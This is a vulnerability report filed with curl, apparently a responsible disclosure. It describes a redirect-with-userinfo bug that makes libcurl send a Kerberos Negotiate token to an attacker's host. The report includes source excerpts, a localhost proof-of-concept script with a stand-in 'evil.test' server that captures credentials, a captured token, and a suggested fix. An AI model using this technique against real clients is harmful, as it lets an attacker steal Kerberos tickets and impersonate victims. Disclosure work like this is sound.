curl · Report #3993549
CVE-2026-86413: Negotiate credentials sent to redirected origin
How it was found
Hi all,
I found a way to make libcurl send a live SPNEGO/Kerberos Authorization: Negotiate token to a host the client never intended to authenticate to, bypassing the cross-host auth restriction, when following a redirect whose Location: header embeds userinfo (http://user:[email protected]/...).
The bug
Curl_http_output_auth() decides whether to attach auth headers for the current host with:
// lib/http.c:874
if(data->state.creds || Curl_auth_allowed_to_host(data))
result = output_auth_headers(data, conn, authhost, request,
path_and_query, FALSE);
Curl_auth_allowed_to_host() is the intended cross-host guard — it's FALSE once you've been redirected to a different origin (unless CURLOPT_UNRESTRICTED_AUTH is set):
// lib/vauth/vauth.c:140-149
bool Curl_auth_allowed_to_host(struct Curl_easy *data)
{
return Curl_auth_allowed_to_origin(data, data->state.origin);
}
bool Curl_auth_allowed_to_origin(struct Curl_easy *data,
struct Curl_peer *origin)
{
return data->set.allow_auth_to_other_hosts ||
Curl_peer_equal(data->state.initial_origin, origin);
}
The problem is the data->state.creds || in front of it. url_set_data_creds() runs on every URL (redirects included), and only the CURLOPT_* ("OPTION") credential branch is gated by Curl_auth_allowed_to_origin() — the URL-embedded-userinfo branch right below it isn't:
// lib/url.c:1423-1456
static CURLcode url_set_data_creds(struct Curl_easy *data, CURLU *uh)
{
...
if((CURL_EASY_STR(data, STRING_USERNAME) || ... ) &&
Curl_auth_allowed_to_origin(data, data->state.origin)) {
result = Curl_creds_create(..., CREDS_OPTION, &newcreds);
...
}
/* Extract credentials from the URL only if there are none OR
* if no CURLOPT_USER was set. */
if(!newcreds || !Curl_creds_has_user(newcreds)) {
...
result = Curl_creds_merge(udecoded, pdecoded, newcreds,
CREDS_URL, &newcreds);
...
}
So a redirect to http://user:[email protected]/ sets data->state.creds non-NULL with no origin check at all, which then short-circuits the guard in Curl_http_output_auth(). For Negotiate this is worse than it looks: the "credentials" here are never actually used — GSSAPI/SSPI mints the token from the client's ambient Kerberos TGT, not from the URL's user/pass string. So any junk userinfo in a redirect Location, even nonsense the attacker doesn't need to know, is enough to unlock sending a real Kerberos service ticket for HTTP/evil.host to the attacker.
Sink: Curl_output_negotiate(), lib/http_negotiate.c:219.
Where it came from
Introduced by 8f71d0fde51 — "creds: hold credentials" (2026-05-11). Before that commit, the guard was:
/* To prevent the user+password to get sent to other than the original host
due to a location-follow */
if(Curl_auth_allowed_to_host(data) || conn->bits.netrc)
That commit dropped this comment along with the strict check, replacing it with the data->state.creds || bypass, while at the same time introducing url_set_data_creds()'s asymmetric OPTION-vs-URL gating. Neither half is a problem alone; together they reopen the exact leak the deleted comment was there to prevent. Still present at current main (38703fe2, 2026-09-02).
PoC
Two peers: orig.test issues the redirect, evil.test records whatever it receives. Exploit variant puts userinfo in the redirect; control variant doesn't.
# Repro: libcurl sends an Authorization: Negotiate (SPNEGO/Kerberos) token to an
# attacker-controlled host after a redirect whose Location carries userinfo.
MODE="$1" # "exploit" or "control"
...
cat > "$KRBDIR/vf_peers.py" <<'PY'
import socket, sys, threading, os, time
MODE=sys.argv[1]
ORIG=int(os.environ["ORIG_PORT"]); EVIL=int(os.environ["EVIL_PORT"])
OUT=os.environ["EVIL_OUT"]
def serve(port,handler):
s=socket.socket(); s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
s.bind(("127.0.0.1",port)); s.listen(8)
while True:
c,_=s.accept()
try: handler(c)
except Exception: pass
c.close()
def orig(c):
c.recv(65536)
if MODE=="exploit":
loc="http://user:[email protected]:%d/secret"%EVIL # userinfo -> triggers bug
else:
loc="http://evil.test:%d/secret"%EVIL # no userinfo -> control
b=b"redir"
c.sendall(("HTTP/1.1 302 Found\r\nLocation: %s\r\nContent-Length: %d\r\nConnection: close\r\n\r\n"%(loc,len(b))).encode()+b)
def evil(c):
data=c.recv(65536)
with open(OUT,"ab") as f: f.write(b"EVIL_RECEIVED:\n"+data)
c.sendall(b"HTTP/1.1 200 OK\r\nContent-Length: 2\r\nConnection: close\r\n\r\nok")
threading.Thread(target=serve,args=(ORIG,orig),daemon=True).start()
threading.Thread(target=serve,args=(EVIL,evil),daemon=True).start()
time.sleep(15)
PY
...
# exercise the shipped libcurl exactly once: follow the redirect with Negotiate on
timeout 60 curl -sS --negotiate -u : -L "http://orig.test:${ORIG_PORT}/start" -o /dev/null || true
...
cat "$EVIL_OUT" # surface exactly what the attacker host received
Run against a curl/8.21.0-DEV build with a Kerberos TGT for [email protected], evil.test received:
EVIL_RECEIVED:
GET /secret HTTP/1.1
Host: evil.test:18081
Authorization: Negotiate YIIC9wYGKwYBBQUCoIIC6zCCAuegDTALBgkqhkiG9xIBAgKiggLUBIIC0GCCAswGCSqGSIb3EgECAgEAboICuzCCAregAwIBBaEDAgEOogcDBQAgAAAAo4IBzmGCAcowggHGoAMCAQWhDRsLRVhBTVBMRS5DT02iHDAaoAMCAQOhEzARGwRIVFRQGwlldmlsLnRlc3SjggGQMIIBjKADAgESoQMCAQGiggF+...(truncated)
User-Agent: curl/8.21.0-DEV
Accept: */*
A full, valid GSSAPI/Kerberos service ticket for HTTP/evil.test, minted from the client's real TGT and handed to a server the client never asked to authenticate to. The control run (no userinfo in the redirect) sends no Authorization header at all — same code path, same preconditions, the only variable is the presence of userinfo in the Location:.
Suggested direction
Gate the URL-credential branch in url_set_data_creds() (lib/url.c:1454) with the same Curl_auth_allowed_to_origin() check the OPTION branch already has, or explicitly strip userinfo from redirect targets before they reach credential extraction unless CURLOPT_UNRESTRICTED_AUTH is set.
Cheers, Josh
Impact
An attacker who runs any HTTP server a victim is willing to curl -L (redirects on) can get the victim's SPNEGO/Kerberos ticket for an arbitrary hostname of the attacker's choosing sent to a server the attacker controls, whenever the victim has --negotiate/CURLAUTH_NEGOTIATE (or CURLAUTH_ANY) on and a live TGT — a very common combination in enterprise SSO setups. That ticket can be captured/relayed to impersonate the victim elsewhere.
Preconditions: CURLOPT_FOLLOWLOCATION, CURLAUTH_NEGOTIATE/CURLAUTH_ANY, SPNEGO support built in, CURLOPT_DISALLOW_USERNAME_IN_URL off (default), and an existing Kerberos/SSPI session.